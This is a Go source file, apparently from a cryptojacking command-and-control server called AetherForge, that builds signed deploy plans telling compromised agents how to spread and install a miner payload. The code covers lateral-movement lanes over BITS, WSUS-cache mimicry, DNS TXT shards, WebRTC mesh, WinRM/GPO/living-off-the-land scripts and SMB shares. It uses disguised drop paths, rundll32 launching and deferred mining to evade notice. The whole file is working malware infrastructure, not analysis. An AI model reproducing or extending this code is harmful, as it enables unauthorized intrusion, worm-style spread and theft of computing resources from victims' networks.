Files
AetherForge/server/internal/api/deploy_plan.go
AetherForge 990105f7bf
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
2026-06-07 10:06:42 -07:00

802 lines
24 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
type StagingManifest struct {
Method string `json:"method"`
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
Encoded bool `json:"encoded"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSZone string `json:"dns_zone,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
}
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
Record string `json:"record,omitempty"`
Index int `json:"index,omitempty"`
}
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
type DeployPlanBody struct {
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
}
type deployPlanRequest struct {
AgentID string `json:"agent_id"`
BuildID string `json:"build_id,omitempty"`
Campaign string `json:"campaign,omitempty"`
Platform string `json:"platform"`
Services []DeployServiceFinding `json:"services"`
UNCPath string `json:"unc_path,omitempty"`
WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"`
}
type deployPlanResponse struct {
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Plan DeployPlanBody `json:"plan"`
Signature string `json:"signature"`
}
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
type DeployPlanHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
publicURL func() string
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
erasureEnabled func() bool
erasureShards *erasure.ShardStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
return &DeployPlanHandler{
db: database,
dataDir: dataDir,
projectRoot: projectRoot,
publicURL: publicURL,
fleetSecret: fleetSecret,
allowlist: allowlist,
}
}
// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler
}
// BindErasure wires ReedSolomon shard encoding for multi-lane deploy plans.
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
h.erasureEnabled = enabled
h.erasureShards = store
}
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
h.erasureShards = store
if hub == nil {
return
}
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if len(req.Services) == 0 {
http.Error(w, "services required", http.StatusBadRequest)
return
}
list := map[string]ServiceDeployLane{}
if h.allowlist != nil {
list = h.allowlist()
}
matched, lane, ok := PickDeployLane(req.Services, list)
if !ok {
writeJSON(w, map[string]interface{}{
"ok": false,
"error": "no allowlisted running services matched",
"checked": len(req.Services),
})
return
}
plan, err := h.buildPlan(req, matched, lane)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
sig, err := signDeployPlan(plan, h.fleetSecret())
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, deployPlanResponse{
OK: true,
JoinLane: plan.JoinLane,
MatchedService: matched,
Plan: plan,
Signature: sig,
})
}
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
body := DeployPlanBody{
JoinLane: lane.Lane,
MatchedService: matched,
Action: lane.Lane,
}
switch lane.Lane {
case "do_peer":
manifest, err := h.buildDOPeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.PeerGroup = manifest.PeerGroup
case "wsus_cache_peer":
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.CacheGroup = manifest.CacheGroup
case "dns_txt":
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.DNSTXTZone = zone
body.DNSTXTRecords = records
body.DNSTXTShards = shards
body.TTLRefreshSec = ttl
case "webrtc_mesh":
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.WebRTCMesh = mesh
case "bits_curl":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
case "docker_load":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
if body.ImageTarURL != "" && req.BuildID != "" {
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
body.ImageTarSHA256 = hash
}
}
case "winrm", "gpo", "linux_lotl":
tpl := strings.TrimSpace(lane.Template)
if tpl == "" {
tpl = lane.Lane
}
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
if err != nil {
return DeployPlanBody{}, err
}
body.Script = script
case "spread_smb_unc":
body.UNCPath = strings.TrimSpace(req.UNCPath)
body.MaxHosts = 64
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
return body, nil
}
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
return nil
}
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return err
}
payload, err := os.ReadFile(build.FilePath)
if err != nil {
return fmt.Errorf("erasure read build: %w", err)
}
dest := `%TEMP%\AetherForge\worker.exe`
launch := "exe"
dllExport := ""
if body.Manifest != nil {
if body.Manifest.Dest != "" {
dest = body.Manifest.Dest
}
if body.Manifest.Launch != "" {
launch = body.Manifest.Launch
}
dllExport = body.Manifest.DLLExport
}
deferMining := true
spreadInstall := true
if body.Manifest != nil {
deferMining = body.Manifest.DeferMining
spreadInstall = body.Manifest.SpreadInstall
}
plan, err := erasure.BuildPlan(
h.erasureShards, serverURL, buildID, req.Campaign, payload,
dest, launch, dllExport, deferMining, spreadInstall,
)
if err != nil {
return err
}
body.ErasurePlan = plan
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
return nil
}
func shardsFromStore(store *erasure.ShardStore, token string) [][]byte {
if store == nil || token == "" {
return nil
}
p, ok := store.ParamsFor(token)
if !ok {
return nil
}
total := p.TotalShards()
out := make([][]byte, total)
for i := 0; i < total; i++ {
if sh, ok := store.Get(token, i); ok {
out[i] = sh
}
}
return out
}
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
if h.pathTracer == nil {
return nil
}
patientID := strings.TrimSpace(req.AgentID)
targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
if len(targets) == 0 {
return nil
}
var best *spreadrouter.SpreadRouteHint
for _, target := range targets {
if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
if best == nil || hint.Score > best.Score {
dup := *hint
best = &dup
}
}
}
return best
}
func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
seen := make(map[string]bool)
var out []string
add := func(sub string) {
sub = spreadrouter.NormalizeSubnet(sub)
if sub == "" || seen[sub] {
return
}
seen[sub] = true
out = append(out, sub)
}
if database != nil && agentID != "" {
if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
add(spreadrouter.SubnetFromIP(ag.IP))
}
}
for _, sess := range traceSessionsSnapshot(pathTracer) {
if sess == nil {
continue
}
patientInChain := false
for _, hop := range sess.Hops {
if hop != nil && hop.AgentID == agentID {
patientInChain = true
add(spreadrouter.SubnetFromIP(hop.ExternalIP))
break
}
}
if !patientInChain && agentID != "" {
continue
}
for _, host := range serviceGraphList(sess.ServiceGraph) {
add(host.Subnet)
add(spreadrouter.SubnetFromIP(host.Host))
}
}
return out
}
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
// then startMiningWhenReady() completes the mining onion (terminal goal).
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
peerGroup := "af-peer-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
}
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
PeerGroup: peerGroup,
}, nil
}
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
chunkFile := filepath.Base(build.FileName)
if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
chunkFile = wsusFormatMimicChunkName(hash, 0)
if !strings.Contains(downloadURL, "wsus_wrap=1") {
if strings.Contains(downloadURL, "?") {
downloadURL += "&wsus_wrap=1"
} else {
downloadURL += "?wsus_wrap=1"
}
}
}
cacheGroup := "af-wsus-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
}
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
CacheGroup: cacheGroup,
}, nil
}
func wsusFormatMimicEnabled(flag *bool) bool {
if flag == nil {
return true
}
return *flag
}
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, "", nil, nil, 0, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
}
zone := h.dnsTXTZone()
records := []string{
"_aether.shard0." + zone,
"_aether.shard1." + zone,
}
shards := []int{0, 1}
ttl := 300
chunks := make([]StagingChunk, len(records))
for i, rec := range records {
chunks[i] = StagingChunk{
Record: rec,
Index: shards[i],
File: fmt.Sprintf("shard-%d.b64", shards[i]),
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
}
}
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "dns_txt",
Chunks: chunks,
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
DNSZone: zone,
TTLRefreshSec: ttl,
}
return manifest, zone, records, shards, ttl, nil
}
func (h *DeployPlanHandler) dnsTXTZone() string {
zone := "internal"
if h.allowlist != nil {
_ = h.allowlist()
}
if h.dataDir != "" {
cfgPath := filepath.Join(h.dataDir, "config.json")
if data, err := os.ReadFile(cfgPath); err == nil {
var payload struct {
Server struct {
DNSZone string `json:"dns_zone"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
zone = strings.TrimSpace(payload.Server.DNSZone)
}
}
}
return zone
}
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
}
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "webrtc_mesh",
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
}
mesh := &WebRTCMeshPlanBody{
STUNServers: []string{"stun:stun.l.google.com:19302"},
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
LANFallbackURL: fallbackURL,
SeederAgentID: strings.TrimSpace(req.AgentID),
RotationHours: 24,
}
return manifest, mesh, nil
}
func sanitizeDeployToken(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
var b strings.Builder
for _, r := range s {
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
b.WriteRune(r)
}
}
out := b.String()
if out == "" {
return "local"
}
if len(out) > 24 {
return out[:24]
}
return out
}
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
method := "bits"
if platform == "linux" || platform == "darwin" {
method = "curl"
}
dest := `%TEMP%\AetherForge\worker.exe`
if platform == "linux" {
dest = "/tmp/aetherforge-worker"
}
return &StagingManifest{
Method: method,
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: "exe",
DeferMining: true,
SpreadInstall: true,
}, nil
}
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
b, err := h.db.GetBuild(buildID)
if err != nil {
return nil, err
}
return b, nil
}
b, err := h.db.GetLatestBuildForPlatform(platform)
if err != nil {
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
}
return b, nil
}
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
b, err := h.resolveBuild(buildID, platform)
if err != nil {
return "", err
}
return fileSHA256(b.FilePath)
}
func fileSHA256(path string) (string, error) {
f, err := os.Open(path)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
return hex.EncodeToString(h.Sum(nil)), nil
}
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
subdir, _, err := spreadTemplatePaths(template)
if err != nil {
return "", err
}
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
entries, err := os.ReadDir(dir)
if err != nil {
return "", fmt.Errorf("template dir: %w", err)
}
var scriptFile string
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
scriptFile = filepath.Join(dir, name)
break
}
}
if scriptFile == "" {
return "", fmt.Errorf("no script in template %s", subdir)
}
data, err := os.ReadFile(scriptFile)
if err != nil {
return "", err
}
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
repl := map[string]string{
"{{SERVER_URL}}": serverURL,
"{{BUILD_ID}}": buildID,
"{{CAMPAIGN}}": campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{COM_HIJACK}}": "false",
"{{LOTL_MODE}}": "systemd_run_user",
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
return content, nil
}
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
if fleetSecret == "" {
return "", fmt.Errorf("fleet secret not configured")
}
payload, err := json.Marshal(plan)
if err != nil {
return "", err
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
return hex.EncodeToString(mac.Sum(nil)), nil
}
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
if fleetSecret == "" || signature == "" {
return false
}
payload, err := json.Marshal(plan)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}